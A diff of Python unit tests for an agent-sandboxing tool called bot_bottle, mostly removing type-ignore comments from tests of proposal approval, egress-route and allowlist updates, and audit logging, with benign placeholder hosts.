class TestStopBundle(unittest.TestCase):
|
||||
def _patch_run(self, **kwargs): # type: ignore
|
||||
def _patch_run(self, **kwargs):
|
||||
return patch(
|
||||
"bot_bottle.backend.smolmachines.sidecar_bundle.subprocess.run",
|
||||
**kwargs,
|
||||
|
||||
@@ -28,13 +28,13 @@ from bot_bottle.backend.smolmachines.smolvm import (
|
||||
)
|
||||
|
||||
|
||||
def _ok(stdout: str = "", stderr: str = "") -> subprocess.CompletedProcess: # type: ignore
|
||||
def _ok(stdout: str = "", stderr: str = "") -> subprocess.CompletedProcess:
|
||||
return subprocess.CompletedProcess(
|
||||
args=[], returncode=0, stdout=stdout, stderr=stderr,
|
||||
)
|
||||
|
||||
|
||||
def _fail(stderr: str = "boom") -> subprocess.CompletedProcess: # type: ignore
|
||||
def _fail(stderr: str = "boom") -> subprocess.CompletedProcess:
|
||||
return subprocess.CompletedProcess(
|
||||
args=[], returncode=1, stdout="", stderr=stderr,
|
||||
)
|
||||
|
||||
@@ -37,11 +37,7 @@ from bot_bottle.supervise import (
|
||||
FIXED_TS = datetime(2026, 5, 25, 12, 0, 0, tzinfo=timezone.utc)
|
||||
|
||||
|
||||
def _proposal(
|
||||
tool: str = TOOL_EGRESS_BLOCK,
|
||||
proposed: str = "{}",
|
||||
justification: str = "need a route",
|
||||
) -> Proposal:
|
||||
def _proposal(tool: str = TOOL_EGRESS_BLOCK, proposed: str = "{}", justification: str = "need a route") -> Proposal:
|
||||
return Proposal.new(
|
||||
bottle_slug="dev",
|
||||
tool=tool,
|
||||
@@ -336,10 +332,10 @@ class TestToolConstants(unittest.TestCase):
|
||||
class _StubSupervise(supervise.Supervise):
|
||||
"""Concrete Supervise subclass for testing the prepare template."""
|
||||
|
||||
def start(self, plan): # type: ignore
|
||||
def start(self, plan):
|
||||
return f"stub-{plan.slug}"
|
||||
|
||||
def stop(self, target): # type: ignore
|
||||
def stop(self, target):
|
||||
return None
|
||||
|
||||
|
||||
|
||||
@@ -133,14 +133,14 @@ class TestApproveReject(_FakeHomeMixin, unittest.TestCase):
|
||||
self._original_apply_capability = supervise_cli.apply_capability_change
|
||||
# Default stubs: succeed with deterministic before/after so the
|
||||
# audit log shows a non-empty diff.
|
||||
supervise_cli.add_route = lambda slug, content: ( # type: ignore
|
||||
supervise_cli.add_route = lambda slug, content: (
|
||||
'{"routes": []}\n', '{"routes": [{"host": "x"}]}\n',
|
||||
)
|
||||
supervise_cli.apply_allowlist_change = lambda slug, content: ( # type: ignore
|
||||
supervise_cli.apply_allowlist_change = lambda slug, content: (
|
||||
"old.example\n", content,
|
||||
)
|
||||
supervise_cli.fetch_current_allowlist = lambda slug: "old.example\n" # type: ignore
|
||||
supervise_cli.apply_capability_change = lambda slug, content: ( # type: ignore
|
||||
supervise_cli.fetch_current_allowlist = lambda slug: "old.example\n"
|
||||
supervise_cli.apply_capability_change = lambda slug, content: (
|
||||
"FROM old\n", content,
|
||||
)
|
||||
|
||||
@@ -231,7 +231,7 @@ class TestEgressApplyWiring(_FakeHomeMixin, unittest.TestCase):
|
||||
|
||||
def test_egress_block_calls_add_route_with_proposed_json(self):
|
||||
calls = []
|
||||
supervise_cli.add_route = lambda slug, content: ( # type: ignore
|
||||
supervise_cli.add_route = lambda slug, content: (
|
||||
calls.append((slug, content)) or ("before", "after")
|
||||
)
|
||||
qp = self._enqueue_egress(
|
||||
@@ -250,7 +250,7 @@ class TestEgressApplyWiring(_FakeHomeMixin, unittest.TestCase):
|
||||
|
||||
def test_modify_passes_final_file_to_add_route(self):
|
||||
calls = []
|
||||
supervise_cli.add_route = lambda slug, content: ( # type: ignore
|
||||
supervise_cli.add_route = lambda slug, content: (
|
||||
calls.append(content) or ("before", "after")
|
||||
)
|
||||
qp = self._enqueue_egress()
|
||||
@@ -262,7 +262,7 @@ class TestEgressApplyWiring(_FakeHomeMixin, unittest.TestCase):
|
||||
self.assertEqual(['{"host": "edited.example"}\n'], calls)
|
||||
|
||||
def test_apply_failure_blocks_response_and_audit(self):
|
||||
supervise_cli.add_route = lambda slug, content: (_ for _ in ()).throw( # type: ignore
|
||||
supervise_cli.add_route = lambda slug, content: (_ for _ in ()).throw(
|
||||
EgressApplyError("docker exec failed")
|
||||
)
|
||||
qp = self._enqueue_egress()
|
||||
@@ -277,7 +277,7 @@ class TestEgressApplyWiring(_FakeHomeMixin, unittest.TestCase):
|
||||
self.assertEqual([], read_audit_entries("egress", "dev"))
|
||||
|
||||
def test_real_diff_lands_in_audit(self):
|
||||
supervise_cli.add_route = lambda slug, content: ( # type: ignore
|
||||
supervise_cli.add_route = lambda slug, content: (
|
||||
'{"routes": []}\n', # before
|
||||
'{"routes": [{"host": "new.example"}]}\n', # after
|
||||
)
|
||||
@@ -329,9 +329,9 @@ class TestPipelockApplyWiring(_FakeHomeMixin, unittest.TestCase):
|
||||
return supervise_cli.QueuedProposal(proposal=p, queue_dir=qdir)
|
||||
|
||||
def test_url_host_merged_into_current_allowlist(self):
|
||||
supervise_cli.fetch_current_allowlist = lambda slug: "existing.example\n" # type: ignore
|
||||
supervise_cli.fetch_current_allowlist = lambda slug: "existing.example\n"
|
||||
applied = []
|
||||
supervise_cli.apply_allowlist_change = lambda slug, content: ( # type: ignore
|
||||
supervise_cli.apply_allowlist_change = lambda slug, content: (
|
||||
applied.append((slug, content))
|
||||
or ("existing.example\n", content)
|
||||
)
|
||||
@@ -348,9 +348,9 @@ class TestPipelockApplyWiring(_FakeHomeMixin, unittest.TestCase):
|
||||
self.assertNotIn("/repos/foo/bar", content) # path stripped
|
||||
|
||||
def test_host_already_in_allowlist_is_idempotent(self):
|
||||
supervise_cli.fetch_current_allowlist = lambda slug: "api.github.com\n" # type: ignore
|
||||
supervise_cli.fetch_current_allowlist = lambda slug: "api.github.com\n"
|
||||
applied = []
|
||||
supervise_cli.apply_allowlist_change = lambda slug, content: ( # type: ignore
|
||||
supervise_cli.apply_allowlist_change = lambda slug, content: (
|
||||
applied.append(content)
|
||||
or ("api.github.com\n", content)
|
||||
)
|
||||
@@ -362,8 +362,8 @@ class TestPipelockApplyWiring(_FakeHomeMixin, unittest.TestCase):
|
||||
self.assertEqual("api.github.com\n", applied[0])
|
||||
|
||||
def test_apply_failure_blocks_response_and_audit(self):
|
||||
supervise_cli.fetch_current_allowlist = lambda slug: "existing.example\n" # type: ignore
|
||||
supervise_cli.apply_allowlist_change = lambda slug, content: (_ for _ in ()).throw( # type: ignore
|
||||
supervise_cli.fetch_current_allowlist = lambda slug: "existing.example\n"
|
||||
supervise_cli.apply_allowlist_change = lambda slug, content: (_ for _ in ()).throw(
|
||||
PipelockApplyError("docker exec failed")
|
||||
)
|
||||
qp = self._enqueue_pipelock()
|
||||
@@ -376,7 +376,7 @@ class TestPipelockApplyWiring(_FakeHomeMixin, unittest.TestCase):
|
||||
self.assertEqual([], read_audit_entries("pipelock", "dev"))
|
||||
|
||||
def test_url_without_host_raises(self):
|
||||
supervise_cli.fetch_current_allowlist = lambda slug: "" # type: ignore
|
||||
supervise_cli.fetch_current_allowlist = lambda slug: ""
|
||||
# supervise_server's validator would catch this; if a broken
|
||||
# URL ever makes it through, the supervise TUI surfaces it too.
|
||||
qp = self._enqueue_pipelock("https:///nohost")
|
||||
@@ -413,7 +413,7 @@ class TestCapabilityApplyWiring(_FakeHomeMixin, unittest.TestCase):
|
||||
|
||||
def test_capability_block_calls_apply_with_proposed_file(self):
|
||||
calls = []
|
||||
supervise_cli.apply_capability_change = lambda slug, content: ( # type: ignore
|
||||
supervise_cli.apply_capability_change = lambda slug, content: (
|
||||
calls.append((slug, content)) or ("FROM old\n", content)
|
||||
)
|
||||
qp = self._enqueue_capability("FROM bookworm\n")
|
||||
@@ -421,7 +421,7 @@ class TestCapabilityApplyWiring(_FakeHomeMixin, unittest.TestCase):
|
||||
self.assertEqual([("dev", "FROM bookworm\n")], calls)
|
||||
|
||||
def test_apply_failure_blocks_response_and_keeps_pending(self):
|
||||
supervise_cli.apply_capability_change = lambda slug, content: (_ for _ in ()).throw( # type: ignore
|
||||
supervise_cli.apply_capability_change = lambda slug, content: (_ for _ in ()).throw(
|
||||
CapabilityApplyError("teardown failed")
|
||||
)
|
||||
qp = self._enqueue_capability()
|
||||
@@ -433,7 +433,7 @@ class TestCapabilityApplyWiring(_FakeHomeMixin, unittest.TestCase):
|
||||
)
|
||||
|
||||
def test_no_audit_log_for_capability(self):
|
||||
supervise_cli.apply_capability_change = lambda slug, content: ("FROM old\n", content) # type: ignore
|
||||
supervise_cli.apply_capability_change = lambda slug, content: ("FROM old\n", content)
|
||||
qp = self._enqueue_capability()
|
||||
supervise_cli.approve(qp)
|
||||
# capability-block has no audit log per PRD 0013 — its record
|
||||
@@ -442,7 +442,7 @@ class TestCapabilityApplyWiring(_FakeHomeMixin, unittest.TestCase):
|
||||
self.assertEqual([], read_audit_entries("pipelock", "dev"))
|
||||
|
||||
def test_proposal_archived_after_apply(self):
|
||||
supervise_cli.apply_capability_change = lambda slug, content: ("FROM old\n", content) # type: ignore
|
||||
supervise_cli.apply_capability_change = lambda slug, content: ("FROM old\n", content)
|
||||
qp = self._enqueue_capability()
|
||||
supervise_cli.approve(qp)
|
||||
# Sidecar would normally archive after delivering the response,
|
||||
@@ -517,7 +517,7 @@ class TestCapabilityBlockSmolmachinesGuard(_FakeHomeMixin, unittest.TestCase):
|
||||
def setUp(self):
|
||||
self._setup_fake_home()
|
||||
self._original_apply_capability = supervise_cli.apply_capability_change
|
||||
supervise_cli.apply_capability_change = lambda slug, content: ("", content) # type: ignore
|
||||
supervise_cli.apply_capability_change = lambda slug, content: ("", content)
|
||||
|
||||
def tearDown(self):
|
||||
supervise_cli.apply_capability_change = self._original_apply_capability
|
||||
|
||||
@@ -7,6 +7,7 @@ which hostname will land in pipelock's allowlist on approval."""
|
||||
|
||||
import unittest
|
||||
|
||||
from bot_bottle import supervise
|
||||
from bot_bottle.cli import supervise as supervise_cli
|
||||
from bot_bottle.supervise import (
|
||||
Proposal,
|
||||
|
||||
@@ -16,7 +16,7 @@ from unittest.mock import patch
|
||||
# we mirror that by injecting bot_bottle/ onto sys.path under the
|
||||
# bare name `supervise`.
|
||||
sys.path.insert(0, str(Path(__file__).resolve().parent.parent.parent / "bot_bottle"))
|
||||
import supervise as _sv # noqa: E402 # type: ignore
|
||||
import supervise as _sv # noqa: E402
|
||||
|
||||
from bot_bottle import supervise_server # noqa: E402
|
||||
from bot_bottle.supervise_server import (
|
||||
@@ -39,6 +39,7 @@ from bot_bottle.supervise_server import (
|
||||
jsonrpc_error,
|
||||
jsonrpc_result,
|
||||
parse_jsonrpc,
|
||||
serve,
|
||||
validate_proposed_file,
|
||||
)
|
||||
|
||||
@@ -330,7 +331,7 @@ class TestHandleToolsCall(unittest.TestCase):
|
||||
class TestHandleListEgressRoutes(unittest.TestCase):
|
||||
def test_url_error_returns_tool_error(self):
|
||||
class _Opener:
|
||||
def open(self, *args, **kwargs): # noqa: ANN001, ANN002, ANN003 # type: ignore
|
||||
def open(self, *args, **kwargs): # noqa: ANN001, ANN002, ANN003
|
||||
raise OSError("egress unavailable")
|
||||
|
||||
with patch.object(supervise_server.urllib.request, "build_opener", return_value=_Opener()):
|
||||
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user